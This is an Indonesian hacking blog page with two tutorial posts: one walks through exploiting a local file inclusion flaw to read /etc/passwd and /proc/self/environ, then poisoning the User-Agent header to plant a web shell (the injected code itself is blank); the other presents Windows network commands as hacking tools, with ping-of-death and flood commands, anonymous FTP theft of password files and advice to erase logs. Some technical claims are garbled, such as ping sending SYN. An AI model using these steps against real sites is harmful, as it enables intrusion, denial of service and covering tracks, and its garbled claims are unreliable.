Pages

Sabtu, 13 Februari 2010

Upload shell via lfi-rfi

1. Hal yang pertama dilakukan seperti teknik-teknik lainnya adalah kita terlebih dahulu coba temukan website yang vulnerable terhadap serangan LFI.

contoh : http://site.com/info.php?file=news.php

2. coba kita ganti “news.php” dengan “../../../”.

contoh : http://site.com/info.php?file=../../../

lalu kita mendapat error, seperti berikut…

Warning: include(../../../) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99

ok sepertinya, kita mendapat kesempatan untuk memanfaatkan include ke file lain.
selanjutanya kita coba temukan /etc/passwd.

contoh : http://site.com/info.php?file=etc/passwd
Tetapi kita masih mendapat error seperti berikut :

Warning: include(/etc/passwd) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99

bagaimana jika kita naikan directorynya ?
mari kita coba…

contoh : http://site.com/info.php?file=../../../../../../../../../etc/passwd

Ahoi, kita berhasil mendapatkan file /etc/passwd yang terlihat seperti berikut :

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
hplip:x:103:7:HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
gdm:x:105:111:Gnome Display Manager:/var/lib/gdm:/bin/false
saned:x:106:113::/home/saned:/bin/false
pulse:x:107:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus:x:108:117::/var/run/dbus:/bin/false
polkituser:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false
avahi:x:110:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
haldaemon:x:111:120:Hardware abstraction layer,,,:/var/run/hald:/bin/false
gunslinger:x:1000:1000:gunslinger_,,,:/home/gunslinger:/bin/bash
snmp:x:112:65534::/var/lib/snmp:/bin/false
guest:x:113:124:Guest,,,:/tmp/guest-home.rRZGXM:/bin/bash
sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin

3. mari kita check apakah /proc/self/environ bisa kita akses ?
sekarang, ganti “/etc/passwd” dengan “/proc/self/environ”

contoh : http://site.com/info.php?file=../../../../../../../../../proc/self/environ

Jika anda mendapatkan yang seperti ini :

DOCUMENT_ROOT=/home/gunslinger/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,
application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif,
image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=3g4t67261b341231b94r1844ac2ad7ac
HTTP_HOST=www.site.com HTTP_REFERER=http://www.site.com/index.php?view=../../../../../../etc/passwd
HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15
PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665
REQUEST_METHOD= GET REQUEST_URI = /index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
SCRIPT_FILENAME=/home/gunslinger/public_html/index.php SCRIPT_NAME=/index.php
SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=gunslinger@site.com SERVER_NAME=www.site.com
SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k
PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 Server at www.site.com Port 80

Ternyata proc/self/environ dapat kita akses !
jika anda mendapatkan halaman yang kosong (blank) /proc/self/environ tidak dapat di akses atau mungkin juga beroperating system *BSD

4. Sekarang mari kita injeksi dengann malicious kode dengan meracuni http-headernya . bagaimana kita bisa menginjeksinya? kita bisa menggunakan tamper data pada firefox addon.
dapat anda download disini : https://addons.mozilla.org/en-US/firefox/addon/966
buka tamper data di firefox lalu masukan url /proc/self/environ yang tadi “http://site.com/info.php?file=../../../../../../../../../proc/self/environ”
lalu pada user-agent isikan dengan kode berikut :



atau



lalu submit.

5. jika kita berhasil menginjeksi malicious kode berikut, maka shell akan ada di tempat seperti ini.

http://www.site.com/shell.php

happy hacking !

tutor by : gunslinger.devilzc0de

Senin, 04 Januari 2010

Hacking Menggunakan DOS

Microsoft DOS datang dengan beberapa hacking tool tersembunyi yang akan saya diskusikan disini. Tool ini dapat ditemukan pada direktori c:\windows jika anda menggunakan win98 dan jika anda menggunakan winxp maka tool ini berada pada C:\winxp\system32. WinXP, Win2000 dan WinNT dirilis dengan beberapa tool internet tambahan. Jadi jika anda masih menggunakan win98 maka saya menyarankan agar menggantinya dengan WinXP. Yang tentunya memiliki fitur securiti tambahan dan perintah hacking internet yang bagus. Dalam manual ini saya akan membahas mengenai beberapa perintah yang ditemukan pada Win98 dan winXP

Jadi bagi pengguna window, berikut ini perintah-perintah hacking pada DOS.

1. ping
2. tracert
3. telnet
4. ftp
5. netstat


OK, inilah keterangannya.

1. ping

Utiliy ini digunakan untuk mencari keberadaan remote host. Yan gmengirmkan sebuah signal SYN ke remote host dan jika remote host membalas maka berarti memang ada suatu remote machine.

Cobalah anda ketik perintah ini:

C:\windows>ping/?

*************
Newbie tip: mengetik '/?' setelah perintah dos menampilkan helpnya. Jadi bagaimana anda belajar aneka perintah dos. Bukankah WinXP, WinNT dan Win2000 juga memiliki perintah ‘help’ untuk menampilkan seluruh perintah dos.
*************
Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]
[-r count] [-s count] [[-j host-list] | [-k host-list]]
[-w timeout] destination-list


Options:
-t Ping the specified host until stopped.
To see statistics and continue - type Control-Break;
To stop - type Control-C.
-a Resolve addresses to hostnames.
-n count Number of echo requests to send.
-l size Send buffer size.
-f Set Don't Fragment flag in packet.
-i TTL Time To Live.
-v TOS Type Of Service.
-r count Record route for count hops.
-s count Timestamp for count hops.
-j host-list Loose source route along host-list.
-k host-list Strict source route along host-list.
-w timeout Timeout in milliseconds to wait for each reply.



Jadi saya dapat melakukan ping ke ip address apapun atau domain name untuk memeriksa keberadaannya di internet. Sebagai contoh saya mengetik “ping localhost” maka saya mendapatkan.


Pinging chintan [127.0.0.1] with 32 bytes of data:

Reply from 127.0.0.1: bytes=32 time<10ms TTL=128
Reply from 127.0.0.1: bytes=32 time<10ms TTL=128
Reply from 127.0.0.1: bytes=32 time<10ms TTL=128
Reply from 127.0.0.1: bytes=32 time<10ms TTL=128

Ping statistics for 127.0.0.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

************
Newbie tip: 'localhost' adalah ip 127.0.0.1 dan merupakan ip address kita sendiri. Juga dikenal sebagai loopback ip. Tapi saat anda terhubung ke internet anda akan diberi ip baru oleh isp anda sebagai identifikasi diri anda. Anda dapat mencari tahu ip anda dengan mengetik”winipcfg” pada menu Start-Run bagi pengguna Win98, sedangkan yang lainnya hanya mengetikkan “ipconfig” pada command prompt.
***********

Hal ini menunjukkan kepada saya bahwa 32 byte data dikirim ke 127.0.0.1 dan dibalas kembali kurang dari 10ms. TTL adalah Time To Live dan nilai range dari 0 hingga 255 (default 128). Sekarang biar kita lihat apa yang terjadi jika saya mengetik “ping www.yahoo.com”

Pinging www.yahoo.akadns.net [66.218.71.87] with 32 bytes of data:

Reply from 66.218.71.87: bytes=32 time=3448ms TTL=54
Reply from 66.218.71.87: bytes=32 time=2276ms TTL=54
Reply from 66.218.71.87: bytes=32 time=1799ms TTL=54
Reply from 66.218.71.87: bytes=32 time=2850ms TTL=54

Ping statistics for 66.218.71.87:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 1799ms, Maximum = 3448ms, Average = 2593ms



Tapi bagaimana ping tersebut digunakan oleh para hacker? Baiklah, ada dua opsi ‘|’ dan ‘-t’ yang mematikan. -| digunakan untuk spesifikasi ukuran buffer yang dikirimkan (defaultnya 32 byte) bagaimana jika saya mengetik “ping -| 65600 target.com” maka hal ini akan membawa maut 65600 paket data ke target.com yang lebih tinggi dari kapasitas TCP/IP 65535. Tindakan ini menyebabkan target.com menjadi hang dan harus di restart.

Dan jika saya mengetik “ping –t target.com” hal ini akan meneruskan pengiriman 32 byte data ke target.com hingga menghabiskan resource dan menyebabkan hang. Dua jenis serangan diatas dikenal sebagai ping attack bagi penyerang Dos.

***********
Newbie tip: 'Dos' yang terakhir disebutkan adalah Denial of service yang dilancarkan oleh hacker untuk menghentikan service pada remote machine.
***********
Catatan: Jenis serangan ini dimasa lalu sering digunakan, namun saat ini pada sistem yang telah diperbarui hal tersebut tidak akan bekerja lagi.

2. Tracert

Perintah Tracert melakukan penjejakan ke remote machine. Sebelum request kita menjangkau remote machine melalui router yang berbeda diantaranya. Tool tracert (dikenal sebagai ‘traceroute’ pada unix) pada awalnya dirancang untuk mencari router mana yang mengalami masalah. Perintah tersebut menunjukkan ip address router yang dilalui request kita sebelum menjangkau remote maching. Sebagai contoh, jika saya mengetik “tracert http://www.yahoo....” pada dos prompt maka akan terdapat:

Tracing route to www.yahoo.akadns.net [66.218.71.87]
over a maximum of 30 hops:

1 * 2296 ms 2025 ms dialpool-210-214-55-11.maa.sify.net [210.214.55.11]
2 2446 ms 2025 ms 2301 ms dialpool-210-214-55-2.maa.sify.net [210.214.55.2]
3 1899 ms 2066 ms 2450 ms lan-202-144-32-177.maa.sify.net [202.144.32.177]
4 * 2885 ms 2749 ms lan-202-144-83-4.maa.sify.net [202.144.83.4]
5 * * * Request timed out.
6 * * * Request timed out.
7 * * * Request timed out.
8 * * * Request timed out.
9 * * * Request timed out.
10 * 3408 ms * www.yahoo.akadns.net [66.218.71.87]
11 * * * Request timed out.
12 * * * Request timed out.
13 * * * Request timed out.
14 * * * Request timed out.
15 * * * Request timed out.
16 * * * Request timed out.
17 482 ms 698 ms 624 ms w8.scd.yahoo.com [66.218.71.87]

Trace complete.

Baris pertama memberitahukan kita ip mana yang menjejaki dan kemudian jumlah hop. Jumlah hop tergantung pada jumlah server yang ada diantaranya. Setelah memulai tracing. Request pertama saya melalui sify.net (nama ISP server saya) kemudian melalui server yang berbeda dan terakhir menjangkau w8.scd.yahoo.com. Jadi kita dapat melihat berapa lama prosedurnya. Kapanpun anda membuka http://www.yahoo.... dalam web browser, request anda selalu melalui isp dulu (untuk mendapatkan ip dari http://www.yahoo.... dari daftar nama domainnya) kemudian server lain dalam jalur tersebut dan terakhir pada yahoo.

Jadi bagaimana tracert digunakan oleh para hacker. Perintah ini digunakan untuk mencari firewall dan melumpuhkannya. Tracer digunakan bersamaan dengan nmap dapat mengetahui ip sebenarnya dimana firewall terpasang, kemudian hacker tersebut akan melumpuhkannya. Untuk contoh diatas kita melihat bahwa proses tracing terhenti pada w8.scd.yahoo.com. Namun hal ini bukanlah tujuan sebenarnya. Hal itu dikarenakan dihentikan oleh firewall. Mengenai masalah firewall akan kita bahas dalam artikel tersendiri.


3. Telnet

Jika anda menggunakan windows maka ‘telnet’ merupakan hacking tool terhebat bagi anda. Sebenarnya merupakan sebuah terminal yang dapat mengakses remote machine dan menggunakan service-nya. Melalui telnet anda dapat menentukan suatu koneksi antara mesin anda dan remote machine melalui port tertentu.


***********
Newbie tip: Disini saya membicarakan tentang virtual port. Tidak secara fisik yang anda lihat dibalik CPU anda. Hanya sebagai physical port yang digunakan untuk koneksi ke hardware dan dengan cara yang sama virtual port digunakan untuk koneksi pada software. TCP/IP memiliki 65,535 virtual port.
***********
Jika anda mengentik “telnet target.com” maka anda terhubung ke target.com pada prot no. 23 (port yang menjalankan telnet service). Anda juga bisa terhubung ke suatu port lainnya dengan mengetik nomor port setelah target.com. sebagai contoh jika saya ingin terhubung ke port no. 25 (SMTP service) maka salya akan mengetik “telnet target.com 25”.
***********
Newbie tip: Setiap port menjalankan service tertentu. Untuk mendaptkan daftar service yang dijalankan pada port tertentu yang bukalah “C:\windows\services" pada notepad.
***********
Sesaat anda terhubung ke sebuah remote machine pada port tertentu, sebuah window popup telnet dengan daemon yang menjalankan port tersebut menunggu anda mengetikkan perintah. Sebagai contoh “telnet http://www.cyberspace.org/” maka seperti gambar dibawah inilah yang saya dapatkan.




Saya harus login disana dan mengetik suatu password dan saya mendapatkan linux shell prompt. Baiklah jika anda mengetikan newuser disana untuk mendapatkan sebuah LoginID dan Password. Dan stelah itu saya menyiapkan perintah untuk mengeksekusi secara remote.

Well, http://www.cyberspace.org/ memiliki server Linux. Jadi jika anda tidak familiar dengan Linux anda tidak akan mampu menggunakan service-nya.



4. FTP

FTP adalah File Transfer Protocol. Melalui ini anda dapat mendownload atau mengupload file. Dan apa yang hacker inginkan dari ini? Benar!! Tinggal mengeti “ftp target.com” dan daemon banner akan ditampilkan. Tapi disini, dengan tujuan menampilkan file transfer pertama kali anda harus login. Beberapa website mengijinkan adanya naonymous login. Contohnya mengetikkan login “anonymous” dan email-address anda sebagai password. Tentunya anda harus mengetikkan email palsu. Sekarang anda boleh mulai mendownload dan mengupload file. Namun untuk itu anda adanya suatu perintah. Pada FTP prompt anda dapat mengetikkan “?”. Maka akan ditampilkan sbb:


! delete literal prompt send
? debug ls put status
append dir mdelete pwd trace
ascii disconnect mdir quit type
bell get mget quote user
binary globe mkdir recv verbose
bye hash mls remotehelp
cd help mput rename
close lcd open rmdir

Untuk mendaptkan bantuan pada berbagai perintah contohnya perintah delete, mengetikan “? Delete”. Beberapa perintah penting lainnya adalah:

1. 'pwd' to know the present directory at remote machine.
contohnya. ftp>pwd /etc/home
2. 'lcd' to change the local directory.
contohnya. ftp>lcd C:\windows
local directory now C:\windows
3. 'cd' to change the remote directory.
contohnya. ftp>cd /etc
remote directory now /etc
4. 'mput' to send multiple files to remote machine.
contohnya. ftp>mput *.* sends all files from C:\windows to /etc
5. 'mget' to get multiple files from remote machine.
contohnya. ftp>mget *.* gets all files from /etc to C:\windows
6. 'open' to establish a connection with remote host.
contohnya. ftp>open www.target.com
7. 'bye' closes the connection and quits from ftp

Untuk perintah lainnya dari ftp silakan lihat help mereka.

Sekarang pada yang port FTP (prot 21) adalah membuka http://www.nosecurity.com/. Seorang hacker akan terhubung ke situs tersebut menggunakan “ftp http://www.nosecurity.com/” pada dos prompt. Kemudian dia akan mencoba login secara anonymous. Dengan anggapan bahwa http://www.nosecurity.com/ menggunakan linux server, maka hacker tersebut akan mengtikkan perintah “get /etc/apsswd” untuk mendaptkan file password dan mengcracknya. Jika anda adalah seorang hacker, maka jangan lupa untuk menghapus log tersebut.



5. netstat

Anda dapat menentukan suatu koneksi dengan remote machine pada port tertentu, hanya saat port tersebut dibuka pada remote machine. Sebagai contoh, jika anda ingin menentukan sebuah koneksi dengan http://www.target.com/ pada port 23 (telnet) maka port tersebut seharusnya terbuka pada http://www.target.com/. Dan seluruh aktifitas hacking umumnya menggunakan port yang terbuka. Mengetikkan “netstat /?” pada dos prompt memberikan:


Displays protocol statistics and current TCP/IP network connections.

NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]

-a Displays all connections and listening ports.
-e Displays Ethernet statistics. This may be combined with the -s
option.
-n Displays addresses and port numbers in numerical form.
-p proto Shows connections for the protocol specified by proto; proto
may be TCP or UDP. If used with the -s option to display
per-protocol statistics, proto may be TCP, UDP, or IP.
-r Displays the routing table.
-s Displays per-protocol statistics. By default, statistics are
shown for TCP, UDP and IP; the -p option may be used to specify
a subset of the default.
interval Redisplays selected statistics, pausing interval seconds
between each display. Press CTRL+C to stop redisplaying
statistics. If omitted, netstat will print the current
configuration information once.

Opsi akan menjelaskan fungsinya masing-masing. Dan yang terpenting adalah opsi –a dan –n. Opsi –a menampilkan seluruh port yang terbuka pada mesin tersebut. Dan jika saya menggunakan opsi –n maka akan menunjukkan ip address sebagai ganti dari domain. Saya mendapatkan hal berikut ini jika saya mengetik “netstat –a” pada command prompt.


Active Connections

Proto Local Address Foreign Address State
TCP chintan:1027 0.0.0.0:0 LISTENING
TCP chintan:80 0.0.0.0:0 LISTENING
TCP chintan:135 0.0.0.0:0 LISTENING
TCP chintan:6435 0.0.0.0:0 LISTENING
TCP chintan:1025 0.0.0.0:0 LISTENING
TCP chintan:1026 0.0.0.0:0 LISTENING
TCP chintan:1028 0.0.0.0:0 LISTENING
TCP chintan:1309 0.0.0.0:0 LISTENING
TCP chintan:1310 0.0.0.0:0 LISTENING
TCP chintan:1285 rumcajs.box.sk:80 ESTABLISHED
TCP chintan:1296 l an-202-144-78-3.maa.sify.net:80 CLOSE_WAIT
TCP chintan:1297 lan-202-144-65-14.sify.net:80 ESTABLISHED
TCP chintan:1310 cdn-v13.websys.aol.com:80 ESTABLISHED
TCP chintan:1220 aiedownload.cps.intel.com:ftp ESTABLISHED

”Proto” menyatakan nama protocol tersebut, “localaddress” memberikan ipaddress kita dan port yang terbuka. “Foreign Address” menyatkaan ipaddress dengan namor port yang terhubung ke kita. “State” menyatakan pernyataan saat ini jika suatu koneksi “established” atau listening atau hanya “waiting”.

Sebagai contoh jika saya membuka [url]http://www.yahoo.com/ [/url]maka saat saya menjalankan “netstat –a” saya akan mendapatkan masukan seperti ini:

"TCP 203.43.50.81:2034 www.yahoo.com:80 ESTABLISHED"

Komputer saya dengan ip 203.43.50.81 melalui port 2034 terhubung dengan yahoo pada port 80

Sumber : Awan Bejat